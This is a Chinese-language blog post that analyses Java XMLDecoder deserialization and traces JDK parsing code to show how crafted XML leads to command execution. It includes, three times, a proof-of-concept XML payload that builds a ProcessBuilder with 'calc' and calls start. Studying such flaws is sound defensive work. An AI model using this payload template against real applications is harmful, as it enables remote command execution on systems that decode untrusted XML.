XMLDecoder反序列化
yearnxyl Lv2

XMLEncoder和XMLDecoder

XMLEncoder和XMLDecoder是Java中自带的类。两者的作用分别是将对象转换为XML格式,或者将XML格式的字符串反序列化为对象的形式。

举例如下:

创建User类,类中必须要有⽆参数构造⽅法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package org.example;

public class User {
private String Name;
private String Sex;
private int Age;
public User(){};
public User(String name,String sex,int age){
this.Name=name;
this.Sex=sex;
this.Age=age;
}

public void setName(String name) {
System.out.println("setName has been called");
Name = name;
}

public void setSex(String sex) {
System.out.println("setSex has been called");
Sex = sex;
}

public void setAge(int age) {
System.out.println("setAge has been called");
Age = age;
}

public String getName() {
System.out.println("getName has been called");
return Name;
}

public String getSex() {
System.out.println("getSex has been called");
return Sex;
}

public int getAge() {
System.out.println("getAge has been called");
return Age;
}

@Override
public String toString() {
return "User{" +
"Name='" + Name + '\'' +
", Sex='" + Sex + '\'' +
", Age=" + Age +
'}';
}
}

使用XMLEncoder将User类转换成XML格式

image

可以看到在转换的过程中调用了User类中的set和get方法。转换后结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_341" class="java.beans.XMLDecoder">
<object class="org.example.User">
<void property="age">
<int>18</int>
</void>
<void property="name">
<string>liming</string>
</void>
<void property="sex">
<string>boy</string>
</void>
</object>
</java>

接下来将其由XML转换为类,转换的过程中调用了类的set方法,很明显这里是在给User中的成员变量赋值。

image

如果将XML更改为如下内容,转换过程中便会命令执行。

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_341" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0"><string>calc</string></void>
</array>
<void method="start"></void>
</object>
</java>

很明显这与xmlDecoder.readObject()有关,接下来对其流程进行分析。

image

XMLDecoder流程分析

流程分析相当乱,仅仅是简单跟了一下,大致了解了XML文件是如何解析的,所以记录的并不详细,有一部分地方也是通过动态调试直接定位的。

若只想了解为何会产生命令执行,建议直接看第三章。

XMLDecoder

首先进入XMLDecoder#readObject()

1
2
3
4
5
public Object readObject() {
return (parsingComplete())
? this.array[this.index++]
: null;
}

这里先执行了parsingComplete(),跟进该方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private boolean parsingComplete() {
if (this.input == null) {
return false;
}
if (this.array == null) {
if ((this.acc == null) && (null != System.getSecurityManager())) {
throw new SecurityException("AccessControlContext is not set");
}
AccessController.doPrivileged(new PrivilegedAction<Void>() {
public Void run() {
XMLDecoder.this.handler.parse(XMLDecoder.this.input);
return null;
}
}, this.acc);
this.array = this.handler.getObjects();
}
return true;
}

抛开java本身的安全机制代码外,这里执行了XMLDecoder.this.handler.parse(XMLDecoder.this.input)this.handlerDocumentHandlerthis.input就是我们的XML文件。

image

DocumentHandler

跟进DocumentHandler.parse()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public void parse(final InputSource var1) {
if (this.acc == null && null != System.getSecurityManager()) {
throw new SecurityException("AccessControlContext is not set");
} else {
AccessControlContext var2 = AccessController.getContext();
SharedSecrets.getJavaSecurityAccess().doIntersectionPrivilege(new PrivilegedAction<Void>() {
public Void run() {
try {
SAXParserFactory.newInstance().newSAXParser().parse(var1, DocumentHandler.this);
} catch (ParserConfigurationException var3) {
DocumentHandler.this.handleException(var3);
} catch (SAXException var4) {
Object var2 = var4.getException();
if (var2 == null) {
var2 = var4;
}

DocumentHandler.this.handleException((Exception)var2);
} catch (IOException var5) {
DocumentHandler.this.handleException(var5);
}

return null;
}
}, var2, this.acc);
}
}

这里执行了SAXParserFactory.newInstance().newSAXParser().parse(var1, DocumentHandler.this)。前面的SAXParserFactory.newInstance().newSAXParser()最终的执行结果是SAXParser

SAXParser

跟进SAXParser#parse()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public void parse(InputSource is, DefaultHandler dh)
throws SAXException, IOException {
if (is == null) {
throw new IllegalArgumentException("InputSource cannot be null");
}

XMLReader reader = this.getXMLReader();
if (dh != null) {
reader.setContentHandler(dh);
reader.setEntityResolver(dh);
reader.setErrorHandler(dh);
reader.setDTDHandler(dh);
}
reader.parse(is);
}

这里对XML文件的操作仅有reader.parse(is)

跟进XMLReader#parse()发现XMLReader是个接口,且实现类较多。

image

因此我们查看SAXParser#parse()中是如何获取的XMLReader。对应的代码为this.getXMLReader()

跟进SAXParser#getXMLReader(),发现这里是一个抽象方法。但该抽象方法仅一处实现。对应的是SAXParserImpl#getXMLReader()

1
public abstract org.xml.sax.XMLReader getXMLReader() throws SAXException;

跟进SAXParserImpl#getXMLReader(),返回了xmlReader

1
2
3
public XMLReader getXMLReader() {
return xmlReader;
}

SAXParserImpl类中xmlReaderJAXPSAXParser

1
private final JAXPSAXParser xmlReader;

因此回到SAXParser#parse(),最后执行的为JAXPSAXParser#parse()

JAXPSAXParser

跟进JAXPSAXParser#parse()

1
2
3
4
5
6
7
8
9
10
11
public void parse(InputSource inputSource)
throws SAXException, IOException {
if (fSAXParser != null && fSAXParser.fSchemaValidator != null) {
if (fSAXParser.fSchemaValidationManager != null) {
fSAXParser.fSchemaValidationManager.reset();
fSAXParser.fUnparsedEntityHandler.reset();
}
resetSchemaValidator();
}
super.parse(inputSource);
}

发现执行了super.parse(inputSource);,往上跟其父类,跟到了AbstractSAXParser#parse()

AbstractSAXParser

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public void parse(InputSource inputSource)
throws SAXException, IOException {

// parse document
try {
XMLInputSource xmlInputSource =
new XMLInputSource(inputSource.getPublicId(),
inputSource.getSystemId(),
null, false);
xmlInputSource.setByteStream(inputSource.getByteStream());
xmlInputSource.setCharacterStream(inputSource.getCharacterStream());
xmlInputSource.setEncoding(inputSource.getEncoding());
parse(xmlInputSource);
}

这里的代码主要是获取XML文件的部分信息,对初始传递进来的XML输入流做了个封装。

image

最后执行的parse()是其父类的方法。

XMLParser

XMLParser#parse()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public void parse(XMLInputSource inputSource)
throws XNIException, IOException {
// null indicates that the parser is called directly, initialize them
if (securityManager == null) {
securityManager = new XMLSecurityManager(true);
fConfiguration.setProperty(Constants.SECURITY_MANAGER, securityManager);
}
if (securityPropertyManager == null) {
securityPropertyManager = new XMLSecurityPropertyManager();
fConfiguration.setProperty(Constants.XML_SECURITY_PROPERTY_MANAGER, securityPropertyManager);
}

reset();
fConfiguration.parse(inputSource);

}

代码最后执行了fConfiguration.parse(inputSource);。这里的fConfigurationXML11Configuration,静态分析没有分析出来为什么,查阅资料似乎和java的配置相关。

注意此时的inputSource变量,和刚传进来时一样。buf为空字节流。

image

XML11Configuration

跟进XML11Configuration#parse()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public void parse(XMLInputSource source) throws XNIException, IOException {

if (fParseInProgress) {
// REVISIT - need to add new error message
throw new XNIException("FWK005 parse may not be called while parsing.");
}
fParseInProgress = true;

try {
setInputSource(source); #将输入流赋值给fInputSource
parse(true);
} catch (XNIException ex) {
if (PRINT_EXCEPTION_STACK_TRACE)
ex.printStackTrace();
throw ex;
} catch (IOException ex) {
if (PRINT_EXCEPTION_STACK_TRACE)
ex.printStackTrace();
throw ex;
} catch (RuntimeException ex) {
if (PRINT_EXCEPTION_STACK_TRACE)
ex.printStackTrace();
throw ex;
} catch (Exception ex) {
if (PRINT_EXCEPTION_STACK_TRACE)
ex.printStackTrace();
throw new XNIException(ex);
} finally {
fParseInProgress = false;
// close all streams opened by xerces
this.cleanup();
}

} // parse(InputSource)

这里执行了setInputSource(source),将XML输入流相关内容赋值给fInputSource。然后执行parse(true)。跟进parse(true):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
public boolean parse(boolean complete) throws XNIException, IOException {
//
// reset and configure pipeline and set InputSource.
if (fInputSource != null) { #判断是否有输入流
try {
fValidationManager.reset(); #重置fValidationManager
fVersionDetector.reset(this); #重置fVersionDetector
fConfigUpdated = true;
resetCommon(); #重置fCommonComponents

short version = fVersionDetector.determineDocVersion(fInputSource); #判断XML版本
if (version == Constants.XML_VERSION_1_1) {
initXML11Components();
configureXML11Pipeline();
resetXML11();
} else {
configurePipeline();
reset();
}

// mark configuration as fixed
fConfigUpdated = false;

// resets and sets the pipeline.
fVersionDetector.startDocumentParsing((XMLEntityHandler) fCurrentScanner, version);
fInputSource = null;
} catch (XNIException ex) {
if (PRINT_EXCEPTION_STACK_TRACE)
ex.printStackTrace();
throw ex;
} catch (IOException ex) {
if (PRINT_EXCEPTION_STACK_TRACE)
ex.printStackTrace();
throw ex;
} catch (RuntimeException ex) {
if (PRINT_EXCEPTION_STACK_TRACE)
ex.printStackTrace();
throw ex;
} catch (Exception ex) {
if (PRINT_EXCEPTION_STACK_TRACE)
ex.printStackTrace();
throw new XNIException(ex);
}
}

try {
return fCurrentScanner.scanDocument(complete);
} catch (XNIException ex) {
if (PRINT_EXCEPTION_STACK_TRACE)
ex.printStackTrace();
throw ex;
} catch (IOException ex) {
if (PRINT_EXCEPTION_STACK_TRACE)
ex.printStackTrace();
throw ex;
} catch (RuntimeException ex) {
if (PRINT_EXCEPTION_STACK_TRACE)
ex.printStackTrace();
throw ex;
} catch (Exception ex) {
if (PRINT_EXCEPTION_STACK_TRACE)
ex.printStackTrace();
throw new XNIException(ex);
}

} // parse(boolean):boolean

代码先是对XML文档的版本信息做操作。然后执行fCurrentScanner.scanDocument(complete)

跟进发现是XMLDocumentFragmentScannerImpl#scanDocument()

XMLDocumentFragmentScannerImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
public boolean scanDocument(boolean complete)
throws IOException, XNIException {

// keep dispatching "events"
fEntityManager.setEntityHandler(this);
//System.out.println(" get Document Handler in NSDocumentHandler " + fDocumentHandler );

int event = next();
do {
switch (event) {
case XMLStreamConstants.START_DOCUMENT :
//fDocumentHandler.startDocument(fEntityManager.getEntityScanner(),fEntityManager.getEntityScanner().getVersion(),fNamespaceContext,null);// not able to get
break;
case XMLStreamConstants.START_ELEMENT :
//System.out.println(" in scann element");
//fDocumentHandler.startElement(getElementQName(),fAttributes,null);
break;
case XMLStreamConstants.CHARACTERS :
fEntityScanner.checkNodeCount(fEntityScanner.fCurrentEntity);
fDocumentHandler.characters(getCharacterData(),null);
break;
case XMLStreamConstants.SPACE:
//check if getCharacterData() is the right function to retrieve ignorableWhitespace information.
//System.out.println("in the space");
//fDocumentHandler.ignorableWhitespace(getCharacterData(), null);
break;
case XMLStreamConstants.ENTITY_REFERENCE :
fEntityScanner.checkNodeCount(fEntityScanner.fCurrentEntity);
//entity reference callback are given in startEntity
break;
case XMLStreamConstants.PROCESSING_INSTRUCTION :
fEntityScanner.checkNodeCount(fEntityScanner.fCurrentEntity);
fDocumentHandler.processingInstruction(getPITarget(),getPIData(),null);
break;
case XMLStreamConstants.COMMENT :
fEntityScanner.checkNodeCount(fEntityScanner.fCurrentEntity);
fDocumentHandler.comment(getCharacterData(),null);
break;
case XMLStreamConstants.DTD :
//all DTD related callbacks are handled in DTDScanner.
//1. Stax doesn't define DTD states as it does for XML Document.
//therefore we don't need to take care of anything here. So Just break;
break;
case XMLStreamConstants.CDATA:
fEntityScanner.checkNodeCount(fEntityScanner.fCurrentEntity);
fDocumentHandler.startCDATA(null);
//xxx: check if CDATA values comes from getCharacterData() function
fDocumentHandler.characters(getCharacterData(),null);
fDocumentHandler.endCDATA(null);
//System.out.println(" in CDATA of the XMLNSDocumentScannerImpl");
break;
case XMLStreamConstants.NOTATION_DECLARATION :
break;
case XMLStreamConstants.ENTITY_DECLARATION :
break;
case XMLStreamConstants.NAMESPACE :
break;
case XMLStreamConstants.ATTRIBUTE :
break;
case XMLStreamConstants.END_ELEMENT :
//do not give callback here.
//this callback is given in scanEndElement function.
//fDocumentHandler.endElement(getElementQName(),null);
break;
default :
throw new InternalError("processing event: " + event);

}
//System.out.println("here in before calling next");
event = next();
//System.out.println("here in after calling next");
} while (event!=XMLStreamConstants.END_DOCUMENT && complete);

if(event == XMLStreamConstants.END_DOCUMENT) {
fDocumentHandler.endDocument(null);
return false;
}

return true;

} // scanDocument(boolean):boolean

这里用到了一个do-while循环,结合上switch-case来对XML文档进行解析。解析的过程在next()里面。推测根据next()逐行解析的结果来进行相应的处理。

XMLDocumentScannerImpl

跟进到XMLDocumentScannerImpl#next()

1
2
3
public int next() throws IOException, XNIException {
return fDriver.next();
}

继续跟进到XMLDeclDriver#next()

XMLDeclDriver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
public int next() throws IOException, XNIException {
if(DEBUG_NEXT){
System.out.println("NOW IN XMLDeclDriver");
}

// next driver is prolog regardless of whether there
// is an XMLDecl in this document
setScannerState(SCANNER_STATE_PROLOG);
setDriver(fPrologDriver);

//System.out.println("fEntityScanner = " + fEntityScanner);
// scan XMLDecl
try {
if (fEntityScanner.skipString(xmlDecl)) {
fMarkupDepth++;
// NOTE: special case where document starts with a PI
// whose name starts with "xml" (e.g. "xmlfoo")
if (XMLChar.isName(fEntityScanner.peekChar())) {
fStringBuffer.clear();
fStringBuffer.append("xml");
while (XMLChar.isName(fEntityScanner.peekChar())) {
fStringBuffer.append((char)fEntityScanner.scanChar(null));
}
String target = fSymbolTable.addSymbol(fStringBuffer.ch, fStringBuffer.offset, fStringBuffer.length);
//this function should fill the data.. and set the fEvent object to this event.
fContentBuffer.clear() ;
scanPIData(target, fContentBuffer);
//REVISIT:where else we can set this value to 'true'
fEntityManager.fCurrentEntity.mayReadChunks = true;
//return PI event since PI was encountered
return XMLEvent.PROCESSING_INSTRUCTION ;
}
// standard XML declaration
else {
scanXMLDeclOrTextDecl(false);
//REVISIT:where else we can set this value to 'true'
fEntityManager.fCurrentEntity.mayReadChunks = true;
return XMLEvent.START_DOCUMENT;
}
} else{
//REVISIT:where else we can set this value to 'true'
fEntityManager.fCurrentEntity.mayReadChunks = true;
//In both case return the START_DOCUMENT. ony difference is that first block will
//cosume the XML declaration if any.
return XMLEvent.START_DOCUMENT;
}


//START_OF_THE_DOCUMENT


}
// encoding errors
catch (MalformedByteSequenceException e) {
fErrorReporter.reportError(e.getDomain(), e.getKey(),
e.getArguments(), XMLErrorReporter.SEVERITY_FATAL_ERROR, e);
return -1;
} catch (CharConversionException e) {
fErrorReporter.reportError(
XMLMessageFormatter.XML_DOMAIN,
"CharConversionFailure",
null,
XMLErrorReporter.SEVERITY_FATAL_ERROR, e);
return -1;
}
// premature end of file
catch (EOFException e) {
reportFatalError("PrematureEOF", null);
return -1;
//throw e;
}

}

这里执行了setDriver(fPrologDriver)对应的是XMLDocumentFragmentScannerImpl#setDriver(),将fDriver设置为fPrologDriver

1
2
3
4
5
6
7
8
protected final void setDriver(Driver driver) {
fDriver = driver;
if (DEBUG_DISPATCHER) {
System.out.print("%%% setDriver: ");
System.out.print(getDriverName(driver));
System.out.println();
}
}

回到XMLDeclDriver#next()fEntityScanner.skipString(xmlDecl)是判断fEntityScanner#fCurrentEntity#ch是否以<?xml开头

image

然后执行scanXMLDeclOrTextDecl,对应的是XMLDocumentFragmentScannerImpl#scanXMLDeclOrTextDecl()

XMLDocumentFragmentScannerImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
protected void scanXMLDeclOrTextDecl(boolean scanningTextDecl)
throws IOException, XNIException {

// scan decl
super.scanXMLDeclOrTextDecl(scanningTextDecl, fStrings);
fMarkupDepth--;

// pseudo-attribute values
String version = fStrings[0];
String encoding = fStrings[1];
String standalone = fStrings[2];
fDeclaredEncoding = encoding;
// set standalone
fStandaloneSet = standalone != null;
fStandalone = fStandaloneSet && standalone.equals("yes");
///xxx see where its used.. this is not used anywhere. it may be useful for entity to store this information
//but this information is only related with Document Entity.
fEntityManager.setStandalone(fStandalone);


// call handler
if (fDocumentHandler != null) {
if (scanningTextDecl) {
fDocumentHandler.textDecl(version, encoding, null);
} else {
fDocumentHandler.xmlDecl(version, encoding, standalone, null);
}
}

if(version != null){
fEntityScanner.setVersion(version);
fEntityScanner.setXMLVersion(version);
}
// set encoding on reader, only if encoding was not specified by the application explicitly
if (encoding != null && !fEntityScanner.getCurrentEntity().isEncodingExternallySpecified()) {
fEntityScanner.setEncoding(encoding);
}

} // scanXMLDeclOrTextDecl(boolean)

这里的代码看起来像是获取版本号,编码等信息。对应的是XML文档的第一行<?xml version="1.0" encoding="UTF-8"?>

image

回到XMLDocumentFragmentScannerImpl#scanDocument(),经过switch-case后会去执行第二个next()。要注意此时执行的是fPrologDriver#next()

image

fPrologDriver

跟进fPrologDriver#next(),这里也是一个do-while和switch-case的结合

image

fEntityScanner.skipSpaces()是对空格和回车做跳过处理,刚才处理完第一行之后会有一个\n

自然fEntityScanner.skipChar('<', null)就是跳过<

setScannerState(SCANNER_STATE_START_OF_MARKUP)进入其他分支。

image

isValidNameStartChar(fEntityScanner.peekChar())是取出下一个字母(这里取到的是j),判断是否为\r,并判断是否合法。

setScannerState(SCANNER_STATE_ROOT_ELEMENT)是为了进入下一个分支。

setDriver(fContentDriver)fDriver设置为fContentDriver,并调用其next()

FragmentContentDriver

跟进到FragmentContentDriver#next(),这里仍然是switch-case的形式

1
2
3
4
5
6
7
8
9
case SCANNER_STATE_ROOT_ELEMENT: {
if (scanRootElementHook()) {
fEmptyElement = true;
//rest would be taken care by fTrailingMiscDriver set by scanRootElementHook
return XMLEvent.START_ELEMENT;
}
setScannerState(SCANNER_STATE_CONTENT);
return XMLEvent.START_ELEMENT ;
}

XMLDocumentScannerImpl

回到XMLDocumentScannerImpl.scanRootElementHook()

1
2
3
4
5
6
7
8
9
10
11
protected boolean scanRootElementHook()
throws IOException, XNIException {

if (scanStartElement()) {
setScannerState(SCANNER_STATE_TRAILING_MISC);
setDriver(fTrailingMiscDriver);
return true;
}
return false;

}

XMLDocumentFragmentScannerImpl

跟进到XMLDocumentFragmentScannerImpl#scanStartElement(),这里是对标签进行扫描

image

然后会进入一个do-while循环,

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
checkDepth(rawname);  #检查 XML 元素的深度,此处查询java标签的深度
(!seekCloseOfStartTag()){ #寻找 XML 元素起始标签的闭合符号 '>'
fReadingAttributes = true;
fAttributeCacheUsedCount =0;
fStringBufferIndex =0;
fAddDefaultAttr = true;
do { #循环是为了查找java标签是否存在其他属性,一直到匹配到'>'时结束
scanAttribute(fAttributes);
if (fSecurityManager != null && !fSecurityManager.isNoLimit(fElementAttributeLimit) &&
fAttributes.getLength() > fElementAttributeLimit){
fErrorReporter.reportError(XMLMessageFormatter.XML_DOMAIN,
"ElementAttributeLimit",
new Object[]{rawname, fElementAttributeLimit },
XMLErrorReporter.SEVERITY_FATAL_ERROR );
}

} while (!seekCloseOfStartTag());
fReadingAttributes=false;
}

继续执行到fDocumentHandler.startElement(fElementQName, fAttributes, null)

这里一直往下跟是XMLDTDValidator#startElement-AbstractSAXParser#startElement-DocumentHandler#startElement

image

DocumentHandler

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public void startElement(String var1, String var2, String var3, Attributes var4) throws SAXException {
ElementHandler var5 = this.handler;

try {
this.handler = (ElementHandler)this.getElementHandler(var3).newInstance();
this.handler.setOwner(this);
this.handler.setParent(var5);
} catch (Exception var10) {
throw new SAXException(var10);
}

for(int var6 = 0; var6 < var4.getLength(); ++var6) {
try {
String var7 = var4.getQName(var6);
String var8 = var4.getValue(var6);
this.handler.addAttribute(var7, var8);
} catch (RuntimeException var9) {
this.handleException(var9);
}
}

this.handler.startElement();
}

this.handler = (ElementHandler)this.getElementHandler(var3).newInstance();根据java标签,获取JavaElementHandler并实例化

image

后面紧跟的循环是为了获取标签中的属性值。<java version="1.8.0_341" class="java.beans.XMLDecoder">对应的属性和值为{“version”:”1.8.0_341”;”class”:””java.beans.XMLDecoder””}

image

查看一下this.handler.addAttribute(var7, var8),猜测应该是进行了存储

JavaElementHandler

1
2
3
4
5
6
7
8
9
10
public void addAttribute(String var1, String var2) {
if (!var1.equals("version")) {
if (var1.equals("class")) {
this.type = this.getOwner().findClass(var2);
} else {
super.addAttribute(var1, var2);
}
}

}

这里会判断属性是否为”class”。若是”class”,则通过findClass()来查找值对应的类,并赋值给this.type(赋值的意义暂不清楚)

若不是则执行父类的addAttribute

ElementHandler.addAttribute

很明显这里是判断属性是否为”id”

1
2
3
4
5
6
7
public void addAttribute(String var1, String var2) {
if (var1.equals("id")) {
this.id = var2;
} else {
throw new IllegalArgumentException("Unsupported attribute: " + var1);
}
}

流程循环

执行完此处后,针对XML第二行的解析就完成了。随后就会回到XMLDocumentFragmentScannerImpl的Switch-Case中,来对下一行进行解析。

再往后很多代码就没必要看了。都是在针对标签进行解析,并获取标签属性以及对应的值。我们直接看每次解析流程的最后部分。

解析第三行

获取到标签Object的属性为class值为java.lang.ProcessBuilder

image

进入ObjectElementHandler#addAttribute()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public final void addAttribute(String var1, String var2) {
if (var1.equals("idref")) {
this.idref = var2;
} else if (var1.equals("field")) {
this.field = var2;
} else if (var1.equals("index")) {
this.index = Integer.valueOf(var2);
this.addArgument(this.index);
} else if (var1.equals("property")) {
this.property = var2;
} else if (var1.equals("method")) {
this.method = var2;
} else {
super.addAttribute(var1, var2);
}

}

由于不满足if条件,因此进入父类NewElementHandler#addAttribute()

这里和上面java标签的解析类似

1
2
3
4
5
6
7
8
public void addAttribute(String var1, String var2) {
if (var1.equals("class")) {
this.type = this.getOwner().findClass(var2);
} else {
super.addAttribute(var1, var2);
}

}

解析第四行

解析标签array,属性为class,值为String

image

进入ArrayElementHandler#addAttribute()

1
2
3
4
5
6
7
8
public void addAttribute(String var1, String var2) {
if (var1.equals("length")) {
this.length = Integer.valueOf(var2);
} else {
super.addAttribute(var1, var2);
}

}

再进入父类NewElementHandler#addAttribute(),和上面第三行是一样的。

1
2
3
4
5
6
7
8
public void addAttribute(String var1, String var2) {
if (var1.equals("class")) {
this.type = this.getOwner().findClass(var2);
} else {
super.addAttribute(var1, var2);
}

}

随后再解析到属性length,进入ArrayElementHandler#addAttribute(),并赋值给this.length

经过这两行可以发现各个标签会进入相对应的XXXXElementHandler#addAttribute()进行判断和赋值。

后面第五行void标签进入ObjectElementHandler#addAtribute(),和Object标签相同。而<string>calc</string>没有属性值,不进入解析。

最后就是解析<void method="start"></void>,这里和第五行的<void index="0">相同。

命令执行

在第二章发现,XMLDecoder底层代码就是对XML文件逐行、逐标签进行解析的,整个过程相当繁杂。但是解析的过程中似乎并没有看到有命令执行的点。

经过多次动态调试发现漏洞触发点是:XMLDocumentFragmentScannerImpl#scanEndElement()方法。该方法中的fDocumentHandler.endElement(endElementName, null);即命令执行点,具体为何存在命令执行后面会进行调试。

简单总结一下XMLDecoder的解析过程:

整个XML文档内容如下

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_341" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0"><string>calc</string></void>
</array>
<void method="start"></void>
</object>
</java>
  1. 首先解析第一行XML文档,此时主要是获取版本信息和编码格式
  2. 解析第二行XML文档,主要是解析<java>标签,获取其中的属性。要注意这里还没有解析到结束标签</java>
  3. 解析第三行,解析<object>标签,获取属性,同样没有解析到结束标签</object>
  4. 一直解析到第五行,解析到</string>标签,这是整个解析过程中解析到的第一个结束标签。(先进后出。推测这里是个栈结构,将标签存储,解析到结束标签时再取出)
  5. 此时会针对结束标签执行fDocumentHandler.endElement(endElementName, null)方法。

<string>

针对fDocumentHandler.endElement(endElementName, null)下断点调试,看看为何会产生命令执行

可以看到endElementNamestring,即结束标签名为string

image

跟进到AbstractSAXParser#endElement()

image

通过断点处的方法跟入到DocumentHandler#endElement()。查看动态调试的信息发现,这里的this.handlerStringElementHandler,其中sb<string>标签的值calc

image

继续通过断点跟入到ElementHandler#endElement()。首先通过getValueObject获取标签对应的值,这里获取到calc。若存在父类,则交给父类处理。

image

跟进到其父类NewElementHandler#addArgument()。这里是将calc放到了一个数列里。(很明显是后续命令执行的参数数列)

image

随后回到了DocumentHandler#endElement()。可以看到将handle指向了其父类,根据调试信息发现其父类为VoidElementHandler

1
this.handler = this.handler.getParent();

image

很明显这里与我们上面XML文档的<void index="0"><string>calc</string></void>对上了。<string>标签的父标签是<void>标签。

上面我们推断标签之间是使用了先进后出的栈结构。现在来看应当是使用了父子类的链表结构。每次解析到结束标签后,都会返回上层父标签,一直到不存在父标签为止。

<void>

接下来解析到</viod>标签

image

和上面类似,跟进到DocumentHandler#endElement()

image

再跟进到ElementHandler#endElement()。执行this.getValueObject()

需要注意的是这里执行的是VoidElementHandler.getValueObject()。但由于VoidElementHandler本身没有getValueObject方法,因此此处执行其父类NewElementHandler.getValueObject()NewElementHandler.getValueObject()会指向ObjectElementHandler.getValueObject()

image

查看ObjectElementHandler.getValueObject()

image

这里的ExpressionValueObjectImpl并没有做什么操作

<array>

前面的过程跟上面两个标签一样。

我们直接看ElementHandler#endElement()。相关的信息在调试信息里面写的蛮清楚的。这里和<string>标签类似。获取值,然后返回其父类。

image

至此解析完了以下部分

1
2
3
<array class="java.lang.String" length="1">
<void index="0"><string>calc</string></void>
</array>

<void>

<array>标签解析完后就开始解析<void method="start"></void>,看一下解析到这个</void>标签是如何处理的。

前面的解析流程和上一个</void>相似,一直到ObjectElementHandler.getValueObject()

image

<object>

跟进this.getContextBean()ElementHandler#getContextBean()。这里执行了this.parent.getValueObject(),这里的父类是ObjectElementHandler,对应的是<object class="java.lang.ProcessBuilder">

image

跟进到NewElementHandler#getValueObject()

image

进一步跟到ObjectElementHandler#getValueObject()。这里经过多个判断后,var3ProcessBuildervar4new方法,var2为参数calc

此处的var5.getValue()返回的是实例化后的ProcessBuilder类。具体如何返回的感兴趣可以看看,用到了反射,略微复杂,但是简单。

image

var5.getValue()

1
2
3
4
5
6
public Object getValue() throws Exception {
if (value == unbound) {
setValue(invoke());
}
return value;
}

image

ProcessBuilder实例化结束后,回到void标签的ObjectElementHandler.getValueObject(),可以看到var5ProcessBuilder.start()

image

再往后就和实例化ProcessBuilder的流程类似了,通过var5.getValue()实现了命令执行。

总结

整个XML文档内容如下

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_341" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0"><string>calc</string></void>
</array>
<void method="start"></void>
</object>
</java>
  1. 首先解析第一行XML文档,此时主要是获取版本信息和编码格式
  2. 解析第二行XML文档,主要是解析<java>标签,获取其中的属性和属性值。
  3. 解析第三行,解析<object>标签,获取属性和属性值。
  4. 一直解析到第五行,解析到</string>标签,这是整个解析过程中解析到的第一个结束标签。遇到结束标签后会获取标签中的值(此处为calc),并返回其父标签。
  5. 在解析<void method="start"></void>的过程中,会获取其父标签的属性值(此处为ProcessBuilder),并进行实例化。
  6. 解析完<void method="start"></void>标签后,获取属性值start,并执行start方法,以此来实现命令执行。